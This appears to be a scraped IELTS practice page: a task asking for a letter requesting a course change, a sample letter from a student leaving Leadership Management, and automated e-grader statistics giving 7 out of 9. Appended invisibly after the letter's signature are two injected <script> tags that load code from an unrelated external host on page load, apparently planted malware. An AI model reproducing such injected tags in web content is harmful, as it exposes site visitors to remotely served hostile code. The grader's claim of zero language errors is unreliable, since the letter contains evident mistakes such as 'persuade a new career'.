You are not happy with the course you are doing at college and would like to change to a different course. Write a letter to the college director requesting to change your course. You should include details about:– what course are you doing now– why y

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You are not happy with the course you are doing at college and would like to change to a different course. Write a letter to the college director requesting to change your course. You should include details about:
– what course are you doing now
– why you are not satisfied with that course
– what course would you like to change to

Dear Sir/Madam,

I am writing with regard to inform you that I am quite unsatisfied with the course that I am currently doing at the APC College and would like to request to change my timetable subjects to persuade a new career.

At the moment I am studying Leadership Management and it was definitely not an appropriate choice. The subjects that I have been learning are extremely boring and the classes consist only on lectures and tutorials, whereas I am a person who needs to have my skills developed by practicing through workshops and dynamic lessons.

Considering the fact that my background is related to Production Engineering, I would like to begin studying the new course available called Practicing of Project Management. I have been told that this course is successful in many ways, therefore I believe it is likely to have more similarities with my personal ambitions for the future.

Looking forward to hearing from you at your first opportunity.

Yours faithfully,
Ammy Lee.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>

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Transition Words or Phrases used:
first, look, so, therefore, whereas, with regard to

Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments

Performance on Part of Speech:
To be verbs : 7.0 7.48453608247 94% => OK
Auxiliary verbs: 2.0 4.92783505155 41% => OK
Conjunction : 5.0 5.05154639175 99% => OK
Relative clauses : 6.0 3.03092783505 198% => OK
Pronoun: 25.0 32.9175257732 76% => OK
Preposition: 24.0 26.3917525773 91% => OK
Nominalization: 3.0 3.85567010309 78% => OK

Performance on vocabulary words:
No of characters: 845.0 937.175257732 90% => OK
No of words: 165.0 206.0 80% => More content wanted.
Chars per words: 5.12121212121 4.54256449028 113% => OK
Fourth root words length: 3.58402463422 3.78020617076 95% => OK
Word Length SD: 2.95409631396 2.54303337028 116% => OK
Unique words: 106.0 127.690721649 83% => More unique words wanted.
Unique words percentage: 0.642424242424 0.622605031667 103% => OK
syllable_count: 260.1 290.88556701 89% => OK
avg_syllables_per_word: 1.6 1.41237113402 113% => OK

A sentence (or a clause, phrase) starts by:
Pronoun: 4.0 9.13402061856 44% => OK
Article: 1.0 0.824742268041 121% => OK
Subordination: 0.0 1.83505154639 0% => More adverbial clause wanted.
Conjunction: 0.0 0.463917525773 0% => OK
Preposition: 2.0 1.44329896907 139% => OK

Performance on sentences:
How many sentences: 7.0 12.6804123711 55% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 23.0 16.3608247423 141% => The Avg. Sentence Length is relatively long.
Sentence length SD: 73.951169769 44.8134815571 165% => OK
Chars per sentence: 120.714285714 76.5299724578 158% => OK
Words per sentence: 23.5714285714 16.8248392259 140% => OK
Discourse Markers: 7.28571428571 4.34317383033 168% => OK
Paragraphs: 4.0 4.29896907216 93% => OK
Language errors: 0.0 2.54639175258 0% => OK
Sentences with positive sentiment : 7.0 7.41237113402 94% => OK
Sentences with negative sentiment : 0.0 1.49484536082 0% => More negative sentences wanted.
Sentences with neutral sentiment: 0.0 3.94845360825 0% => More facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?

Coherence and Cohesion:
Essay topic to essay body coherence: 0.226053854015 0.216113520407 105% => OK
Sentence topic coherence: 0.0923101223766 0.0766984524023 120% => OK
Sentence topic coherence SD: 0.0945756799471 0.0603063233224 157% => OK
Paragraph topic coherence: 0.142644739524 0.12726935374 112% => OK
Paragraph topic coherence SD: 0.108758485371 0.0580467560999 187% => OK

Essay readability:
automated_readability_index: 14.5 8.37731958763 173% => OK
flesch_reading_ease: 48.13 70.7449484536 68% => OK
smog_index: 8.8 3.82989690722 230% => Smog_index is high.
flesch_kincaid_grade: 12.3 7.45979381443 165% => OK
coleman_liau_index: 12.71 8.71597938144 146% => OK
dale_chall_readability_score: 9.37 7.59969072165 123% => OK
difficult_words: 48.0 41.2886597938 116% => OK
linsear_write_formula: 14.5 8.62886597938 168% => OK
gunning_fog: 11.2 8.54432989691 131% => OK
text_standard: 15.0 8.15463917526 184% => OK
What are above readability scores?

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Rates: 78.6516853933 out of 100
Scores by essay e-grader: 7.0 Out of 9
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